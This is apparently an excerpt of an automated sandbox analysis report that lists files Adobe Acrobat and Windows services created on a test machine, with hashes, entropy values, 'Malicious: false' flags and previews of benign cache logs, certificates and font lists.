File Type:	Extensible storage user DataBase, version 0x620, checksum 0xb96979d9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555615908619233
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	EB935553178BB2940960F4931DCD8091
SHA1:	CAB8894034E851F403135662F947072CE02036A5
SHA-256:	809184CEC3AAFFC7077A883646D97782D1EE45D95B5A7E6CEA66CE8E54C89C98
SHA-512:	4118448616CB3664CAF3DB80C66DE29AE3A5F142F6C68883A34B11C4CA7DA48310B867621353B5471B6356C30A87A8CE00945F2F27F88F72A661FB62D38380BD
Malicious:	false
Preview:	.iy.... .......7.......X\...;...{......................0.e......!...{?.9....}u.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................Py.9....}.................(.F.9....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07984105005364
Encrypted:	false
SSDEEP:	3:DBilEYerurYq3rfNaAPaU1ltncupplXalluxmO+l/SNxOf:DfzryYKNDPaUOyagmOH
MD5:	8E5221585AE3F086E8AF4A6CB9ED3EDF
SHA1:	33912A3E74DB06121B097B389A82CA3951938566
SHA-256:	6BB20B58D958B1D0C3AAC41E80797F35FB6DC5FDD4AC03835C7531984EE62C82
SHA-512:	24949E120BCD716DF9147BCF78733B301D8314A0DE610A3DD2C4E82D775BEA55823D2C01A90141E5FDB82AA5AAF72B257E6212C1A3C6152BEBA661D215DA51DC
Malicious:	false
Preview:	S.9......................................;...{..9....}...!...{?..........!...{?..!...{?..g...!...{?.................(.F.9....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1961023559752535
Encrypted:	false
SSDEEP:	6:iO4q5I3+q2PN72nKuAl9OmbnIFUtSq5s8Zmwsq5kHNVkwON72nKuAl9OmbjLJ:70OvVaHAahFUtC8/sz5OaHAaSJ
MD5:	9590B76C1EBA99AAD1BAAD73E930693A
SHA1:	C474782C29F5F4F7C3C783310E801EB66A374D5B
SHA-256:	B592BEA83B6653BF84B14EE2393AC93CAC1CDA1D17A70F5697585BF331F32FF1
SHA-512:	B511763FF9A1DD26E97B945D766CBE6B0D24EC6917A6DFEFC26022CC4D7003EFA6024A2D24B042E8928504632D18D3302739D84349C924FAC716936D04019BC7
Malicious:	false
Preview:	2025/01/10-23:11:57.410 e68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:11:57.413 e68 Recovering log #3.2025/01/10-23:11:57.414 e68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1961023559752535
Encrypted:	false
SSDEEP:	6:iO4q5I3+q2PN72nKuAl9OmbnIFUtSq5s8Zmwsq5kHNVkwON72nKuAl9OmbjLJ:70OvVaHAahFUtC8/sz5OaHAaSJ
MD5:	9590B76C1EBA99AAD1BAAD73E930693A
SHA1:	C474782C29F5F4F7C3C783310E801EB66A374D5B
SHA-256:	B592BEA83B6653BF84B14EE2393AC93CAC1CDA1D17A70F5697585BF331F32FF1
SHA-512:	B511763FF9A1DD26E97B945D766CBE6B0D24EC6917A6DFEFC26022CC4D7003EFA6024A2D24B042E8928504632D18D3302739D84349C924FAC716936D04019BC7
Malicious:	false
Preview:	2025/01/10-23:11:57.410 e68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:11:57.413 e68 Recovering log #3.2025/01/10-23:11:57.414 e68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.201668804209732
Encrypted:	false
SSDEEP:	6:iO4q5VFN+q2PN72nKuAl9Ombzo2jMGIFUtSq5SZmwsq5hNVkwON72nKuAl9Ombzz:7xFIvVaHAa8uFUtI/Rz5OaHAa8RJ
MD5:	372BED554C82EABA120456E62C55D7C5
SHA1:	4C111AE6182A7618B79FAA272E4E3CAEF225DDB6
SHA-256:	C8A24C02B45A1ECED4D46D782A845D8762D52925A81B9461B536C6C49C7C2CFC
SHA-512:	5FF86071B09217F8BAC149FD15F09AD4768160BF53167E16A54EDCF38390B5467DE3FC11BBEE8F48FA0C330E54B0C6C88875EC52015AAD5DC519B1B49024AB42
Malicious:	false
Preview:	2025/01/10-23:11:57.694 1cb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:11:57.695 1cb8 Recovering log #3.2025/01/10-23:11:57.696 1cb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.201668804209732
Encrypted:	false
SSDEEP:	6:iO4q5VFN+q2PN72nKuAl9Ombzo2jMGIFUtSq5SZmwsq5hNVkwON72nKuAl9Ombzz:7xFIvVaHAa8uFUtI/Rz5OaHAa8RJ
MD5:	372BED554C82EABA120456E62C55D7C5
SHA1:	4C111AE6182A7618B79FAA272E4E3CAEF225DDB6
SHA-256:	C8A24C02B45A1ECED4D46D782A845D8762D52925A81B9461B536C6C49C7C2CFC
SHA-512:	5FF86071B09217F8BAC149FD15F09AD4768160BF53167E16A54EDCF38390B5467DE3FC11BBEE8F48FA0C330E54B0C6C88875EC52015AAD5DC519B1B49024AB42
Malicious:	false
Preview:	2025/01/10-23:11:57.694 1cb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:11:57.695 1cb8 Recovering log #3.2025/01/10-23:11:57.696 1cb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\16444e62-5de8-4447-9f3e-b64207d48982.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957393568407869
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlsBdOg2H2caq3QYiubcP7E4T3y:Y2sRds7dMHJ3QYhbA7nby
MD5:	9CB88A5FBEF10FDC4725D7848FEFB07C
SHA1:	A4DC4F3FC34C876CC664FC55C5AEF822B775DDD4
SHA-256:	7A363E7F559F5B13E7BD59C569CEC3F73A50F42D7753A1682D7BB92070440277
SHA-512:	1EEEC0CF66D73BF844935EB3A4F88E837743F719774A1171863267EEFF7D9CC8F70DC5ABD97BA48CBAE0539B97E36280417125E71AD9FEA1AE7016980A6E2870
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128728716825","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":164119},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957393568407869
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlsBdOg2H2caq3QYiubcP7E4T3y:Y2sRds7dMHJ3QYhbA7nby
MD5:	9CB88A5FBEF10FDC4725D7848FEFB07C
SHA1:	A4DC4F3FC34C876CC664FC55C5AEF822B775DDD4
SHA-256:	7A363E7F559F5B13E7BD59C569CEC3F73A50F42D7753A1682D7BB92070440277
SHA-512:	1EEEC0CF66D73BF844935EB3A4F88E837743F719774A1171863267EEFF7D9CC8F70DC5ABD97BA48CBAE0539B97E36280417125E71AD9FEA1AE7016980A6E2870
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128728716825","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":164119},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.25170189058978
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7SnF9J:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhm
MD5:	D933684ECF2BD32CA6E981D0D7567416
SHA1:	96D7693B61525FE14C902C686BB479CDFC150ECB
SHA-256:	CFD1AE0C4E4D609BE62F2663DEB3614141DBA8814C2DB00E26EE152D285AA2F3
SHA-512:	61CA906FC0417BEF8184BDBEE13983688EE93C07FC5017DBDF093035767C5B32E8ED2888F64816DA6B0250E6E7D5357069E3F576ADD7C828456C0B0A540C071F
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.163542429371006
Encrypted:	false
SSDEEP:	6:iO4q5mvt+q2PN72nKuAl9OmbzNMxIFUtSq5KQ5Zmwsq5AUEVkwON72nKuAl9Ombg:7qvovVaHAa8jFUtD5/BE5OaHAa84J
MD5:	59BC164C7869BDA3675B32EF76E4B826
SHA1:	C0D8D32DC9BC7AFB2C7F2A0A2660412B2D8DAEFE
SHA-256:	FBB3A604CEF599B7CBE82B633A9E9E7896816C5AD7455A89F61727D825B342A0
SHA-512:	911FEFD25546969E22BF180510D4E72DBF352F7CB76E90319C4A306F24923ECF61031A6CFF1A81278350DBC2DF0F4DFB372BF0080F7DB932FAD5C3BC39069D5D
Malicious:	false
Preview:	2025/01/10-23:11:57.860 1cb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:11:57.861 1cb8 Recovering log #3.2025/01/10-23:11:57.862 1cb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.163542429371006
Encrypted:	false
SSDEEP:	6:iO4q5mvt+q2PN72nKuAl9OmbzNMxIFUtSq5KQ5Zmwsq5AUEVkwON72nKuAl9Ombg:7qvovVaHAa8jFUtD5/BE5OaHAa84J
MD5:	59BC164C7869BDA3675B32EF76E4B826
SHA1:	C0D8D32DC9BC7AFB2C7F2A0A2660412B2D8DAEFE
SHA-256:	FBB3A604CEF599B7CBE82B633A9E9E7896816C5AD7455A89F61727D825B342A0
SHA-512:	911FEFD25546969E22BF180510D4E72DBF352F7CB76E90319C4A306F24923ECF61031A6CFF1A81278350DBC2DF0F4DFB372BF0080F7DB932FAD5C3BC39069D5D
Malicious:	false
Preview:	2025/01/10-23:11:57.860 1cb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:11:57.861 1cb8 Recovering log #3.2025/01/10-23:11:57.862 1cb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444497695783478
Encrypted:	false
SSDEEP:	384:SeVci5tdiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:R2s3OazzU89UTTgUL
MD5:	E58FC3362AC870D19470E6C241A31C41
SHA1:	4EE0892C3E72187B8D7BF3A1BA14710C5FF04749
SHA-256:	271552D36B23A547787CDB9AB8A01657A34A2438B7025178DA15F8192BF49628
SHA-512:	8D713277E60661DC432B987E8C3AE91E8D0213BB0B00F917CB79DBCCFEF5C231411DFAA4E661565620C5D82F0B221E6400B92B3963C1DFF8D821151C8966E9D9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.211748729795905
Encrypted:	false
SSDEEP:	24:7+tG/nuwKbqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MH:7MunCbqPmFTIF3XmHjBoGGR+jMz+LhK
MD5:	0B51C9499E5347A75C92BED40F553EE8
SHA1:	10C47A0DA89D1C35D175F2927A7902EDC9EE7A4C
SHA-256:	52002CE2AEBDDE4D9251763182EFA9C99999602979E41617BB4998509A80C208
SHA-512:	C1A20AFE655435A6CD8101326B273665E735462DBEB5BF651A5F99B040A9BA8EAB78472657E301E1AA64AEE357D6FF4A336F7F03EA1F330593BDB26FC39BE24D
Malicious:	false
Preview:	.... .c......7p.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklGord+M/tfllXlE/HT8kCbNNX8RolJuRdxLlGB9lQRYwpDdt:kKf2F/eT8HNMa8RdWBwRd
MD5:	B56FEEE476709169547CB0B5CBDF3DF6
SHA1:	878B3DE6847DAAD6F3E7C94CE63274FE11A17D5E
SHA-256:	F394E4E66C62818471E50CB9083DA5C8DFA799DF9A727CD14B89973C60196F25
SHA-512:	258A803C21C747B0BE1C56764605CC5BA0CFEC0AA08392DD26CF744402C3D9FA924E35737C4EDAE5D4B3E8A0782CB9B48F788E6F9CA27A801621CA393542447C
Malicious:	false
Preview:	p...... .........M...c..(....................................................... ..........W.....w..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2330967911189217
Encrypted:	false
SSDEEP:	6:kK1EL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:miDImsLNkPlE99SNxAhUe/3
MD5:	DF1F8A4E98C1028272F9F95F4818E6EA
SHA1:	DECC21ECC69561399E2F29F2D8880DA94640AEF1
SHA-256:	7455151756B272C9827AF6DD10C7C57E15AC06F474493E180A2BEE6E4CD2BA27
SHA-512:	F498520A42CA5084B4E65C6BC37874CEDE0FF6FDC850F3463096F9BD927B7DEC8F3F15C30598629AF66478614B903BF28F2C7B8ACA2B77BC5A63D689213279BE
Malicious:	false
Preview:	p...... ..........b..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5172

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
